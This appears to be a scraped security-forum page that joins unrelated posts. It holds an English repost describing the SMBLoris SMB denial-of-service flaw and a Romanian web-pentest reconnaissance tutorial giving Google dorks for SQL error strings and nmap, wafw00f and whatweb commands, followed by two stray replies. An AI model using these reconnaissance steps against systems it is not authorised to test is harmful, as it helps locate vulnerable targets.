SMBLoris - the new SMB flaw While studying the infamous EternalBlue exploit about 2 months ago, researchers Sean Dillon (zerosum0x0) and Zach Harding (Aleph-Naught-) found a new flaw in the Server Message Block (SMB) protocol that could allow an adversary to interrupt the service by depleting the memory and CPU resources of the targeted machine on a Denial of Service (DoS) attack. Tweet used to announce the flaw [2] According to an article posted by ThreatPost [1], the flaw called SMBLoris was privately reported to Microsoft in early June, but the company considered it to be of moderate impact and that it would not be considered a security breach. In addition, it would probably not even be fixed. As announced, some bug details were presented yesterday during a presentation at DEFCON 25 in Las Vegas. The attack is similar to another called SlowLoris [4] (hence also the similarity of the name) by allowing an attacker with a single machine and low bandwidth to be able to interrupt a service through a DoS attack. The difference is that SlowLoris affected Web servers. Technically speaking, the problem occurs with the accumulation of a 4-bytes buffer called NBSS used during SMB session establishment which are allocated in the physical RAM and can not be swapped out. Triggering this, an attacker who initiates a large amount of connections to the service will be able to deplete the memory resources and after the CPU on the target. NBSS buffer details In the demonstration, an 8 GB memory server became unresponsive in a few seconds - note in the following figure the rapid increase in memory consumption during the attack. SMBLoris attack demonstration There is no update from Microsoft to fix the problem - so it has been considered a zero-day. For now, as a mitigation measure, the recommendation is to use a packet filter, like a Firewall, to limit the number of connections from a same source to the Windows servers on port 445 (SMB). References [1] https://threatpost.com/windows-smb-zero-day-to-be-disclosed-during-def-con/126927/?utm_source=kasperskysocialchannel.com&utm_medium=REAL%20Solutions%20Technologies,%20LLC&utm_campaign=kasperskysocialchannel.com [2] https://twitter.com/zerosum0x0/status/870862422327689216 [3] https://www.defcon.org/html/defcon-25/dc-25-speakers.html#Dillon [4] https://web.archive.org/web/20090822001255/http://ha.ckers.org/slowloris/ -- Renato Marinho Morphus Labs | LinkedIn | Twitter Sursa:" https://isc.sans.edu/forums/diary/SMBLoris+the+new+SMB+flaw/22662/

Tin de la inceput sa mentionez ca tutorialul este pentru aplicatii web. De-a lungul timpului am vazut numeroase persoane care, desi aveau cunostinte despre anumite vulnerabilitati web(de ce apar, cum se exploateaza, etc.), nu reuseau sa gaseasca mai nimic in aplicatii web reale. Acest lucru se datoreaza faptului ca au sarit peste o etapa esentiala a unui audit de securitate si anume, Information Gathering. Neavand o metodologie clara si un plan de atac bine stabilit, acestia nu erau in masura sa obtina date suficiente despre aplicatiile pe care le analizau iar ca urmare a acestui lucru nu reuseau sa identifice vulnerabilitatile. In acest tutorial vom discuta despre care sunt informatiile de care avem nevoie despre tinta si cum le putem afla astfel incat sa ne maximizam rezultatele. Asa cum spuneam la inceputul acestui tutorial, Information Gathering este etapa initiala a oricarui audit de securitate IT care poate face diferenta dintre succes si esec. Prin aceastea, pentesterul incearca sa obtina toate informatiile posibile despre tinta folosindu-se de diferite servicii (motoare de cautare, diferite utilitare, etc.). Intrucat nu exista un model standard, fiecare pentester este liber sa isi construiasca propria metodologie astfel incat rezultatele sa fie cat mai bune. In cele ce urmeaza voi prezenta modul in care obisnuiesc eu sa abordez o tinta atunci cand realizez un audit de securitate. 1.Motoarele de cautare Primul lucru pe care trebuie sa il faci este sa cauti informatii prin intermediul motoarelor de cautare folosindu-te de diferiti operatori de cautare. Astfel poti obtine subdomeniile, diferite fisiere, tehnologiile folosite de aplicatia web si chiar unele vulnerabilitati. Exemplu: diferite subdomenii ale yahoo.com Cei mai folositori operatori ai motorului de cautare Google sunt: site: - acest operator permite afisarea rezultatelor doar de pe un anumit domeniu si este extrem de folositor pentru descoperirea subdomeniilor. Exemplu: site:*.yahoo.com filetype: sau ext: limiteaza rezultatele afisand doar paginile care au o anumita extensie si pot fi folosite pentru a descoperi tehnologiile folosite in dezvoltarea aplicatiei web. Exemplu: site:*.yahoo.com ext:php – am limitat rezultatele cautarii la subdomeniile yahoo.com care au fisiere .php intext:<termen> limiteaza rezultatele afisand doar paginile in care se regaseste termenul specificat si poate fi folosit pentru a descoperi diferite vulnerabilitati. Exemplu: site:targetwebsite.com intext:”You have an error in your SQL syntax” site:targetwebsite.com intext:”Microsoft OLE DB Provider for SQL Server” site:targetwebsite.com intext:”Microsoft JET Database Engine” site:targetwebsite.com intext:”Type mismatch” site:targetwebsite.com intext:”Invalid SQL statement or JDBC” site:targetwebsite.com intext:”mysql_fetch_array()” site:targetwebsite.com intext:”mysql_” operatori logici: Google accepta anumiti operatori logici care de cele mai multe ori sunt foarte folositori. De exemplu, putem exclude din rezultate anumite subdomenii folosind operatorul - . Astfel, site:.yahoo.com -site:games.yahoo.com va returna subdomeniile yahoo.com, mai putin rezultatele care au legatura cu games.yahoo.com. Mai multe informatii despre operatorii de cautare pentru Google gasesti aici si aici. Pe langa motoarele de cautare obsnuite ca Google, Bing, Yahoo etc., foloseste si: Censys - Foarte folositor in descoperirea subdomeniilor Exemplu: https://www.censys.io/certificates?q=parsed.subject.organization%3A%22Yahoo%22 Shodan 2. Determinarea tehnologiilor folosite La acest pas va trebuie sa verifici daca: aplicatia web este protejata de vreun Web Application Firewall (WAF) Cel mai simplu mod prin care poti face acest lucru este folosind wafw00f: $ python watw00f2.py http://www.targetwebsite.com aplicatia web foloseste un Content Management System (CMS) open-source (Wordpress, Joomla, Drupal, etc.) Poti verifica acest lucru folosind whatweb, cms-explorer, CMSmap. $ whatweb -a 3 http://targetwebsite.com $ cms-explorer.pl -url http://targetwebsite.com/ -type wordpress Urmatorul pas consta in identificarea sistemului de operare, al tipului de WebServer (Apache, IIS) folosit de tinta si versiunea acestora. Daca versiunile celor doua sunt outdated, cel mai probabil exista cateva vulnerabilitati cunoscute (CVE) in acele produse. Poti descoperi acest lucru cu o simpla cautare pe http://cvedetails.com . Exemplu: Vulnerabilitatile cunoscute pentru Apache 2.3.1 Determinarea sistemului de operare se poate realiza foarte simplu folosind nmap. $ nmap -sV -O www.targetwebsite.com Metodele prin care poti identifica versiunea Webserver-ului sunt: Analizand output-ul cererilor HTTP care folosesc metoda HEAD, OPTIONS sau TRACE Raspunsul HTTP al unei cereri care foloseste una din metodele de mai sus va contine, de cele mai multe ori, si headerul Server. Analizand pagina de eroare 404 Folosind httprecon / httprint . Un alt aspect important il constituie tehnologia server-side folosita de tinta. Cel mai simplu mod in care aceasta poate fi descoperita este urmarind extensiile fisierelor. De exemplu, daca URL-ul tintei este http://targetwebsite.com/index.php , este clar ca aplicatia web a fost scrisa in limbajul PHP. Alte extensii specifice tehnologiilor server-side sunt: .py – Python .rb – Ruby .pl – Perl .php / .php3 / .php4 / .php5 / .phtml / .phps – PHP .asp – Active Server Pages (Microsoft IIS) .aspx – ASP+ (Microsoft .NET) .asmx – ASP.NET WebServer .cfm – ColdFusion .cfml – Cold Fusion Markup Language .do – Java Struts .action – Java Struts .jnpl – Java WebStart File .jsp – Java Server Page .nsf – Lotus Domino server In cazul in care extensiile nu sunt vizibile in URL, poti identifica tehnologia server-side folosita analizand cookie-ul pe care aplicatia web il seteaza. Exemplu: PHPSESSID=12355566788kk666l544 – PHP De asemenea, iti poti da seama daca o aplicatie web este scrisa in PHP si prin intermediul unui Easter Egg. Daca adaugi codul ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 la finalul unui URL iar in pagina apare o imagine amuzanta inseamna ca aplicatia respectiva a fost dezvoltata folosind PHP. Bineinteles, acest Easter Egg poate fi dezactivat din php.ini. Mai multe informatii gasesti aici. 3. Identificarea fisierelor aplicatiei web La acest pas nu trebuie decat sa accesezi cat mai multe pagini alte aplicatiei web, fara a face nimic altceva. Viziteaza fiecare pagina insa nu uita sa conectezi browserul la Burp Suite pentru a se crea site-map-ul aplicatiei web. Astfel vei avea o evidenta mult mai clara asupra fisierelor pe care urmeaza sa le testezi. Foloseste Burp Spider pe langa navigarea manuala pentru a descoperi cat mai multe fisiere. PS: verifica daca exista fisierul robots.txt Dupa ce consideri ca ai navigat suficient printre fisierele aplicatiei web, trebuie sa descoperi fisierele ascunse. Exista numeroase aplicatii care te pot ajuta: Dirbuster Functia Discover Content a aplicatiei BurpSuite Wfuzz Patator Burp Intruder Liste de cuvinte pentru scripturile de mai sus: fuzzdb gitDigger svnDigger SecLists Urmatorul pas este sa iei la rand fiecare fisier gasit si sa incerci sa intelegi cum functioneaza aplicatia web respectiva. Pentru a-ti fi mai usor sa iti dai seama unde ar putea exista o vulnerabilitate, pune-ti urmatoarele intrebari: 1. In fisierul pe care il testezi, continutul se modifica in mod dinamic in functie de anumite criterii (valoarea unui parametru din URL, cookie, user agent etc.) ? Mai exact, este posibil ca in acel fisier aplicatia web sa foloseasca informatii dintr-o baza de date? Daca da, testeaza in primul rand pentru vulnerabilitatile de tip injection (SQL, XPATH, LDAP, etc.) insa nu neglija celelalte tipuri de vulnerabilitati. S-ar putea sa ai surprize. 2. Poti controla in vreun fel continutul paginii? Ceilalti utilizatori pot vedea datele pe care le introduci tu? Daca da, testeaza in special pentru vulnerabilitati de tip Cross Site Scripting si Content Spoofing. 3. Aplicatia web poate interactiona cu alte fisiere? Daca da, testeaza in special pentru Local File Inclusion. 4. In fisierul respectiv exista functii care necesita nivel sporit de securitate (cum ar fi formular de schimbare al emailului/parolei etc.)? Daca da, testeaza in special pentru Cross Site Request Forgery. Nu uita sa testezi fiecare parametru al fiecarui fisier pe care l-ai descoperit.

La ce foloseste acest program ?

nu i bai, continua, un sut in cur un pas inainte, NU ?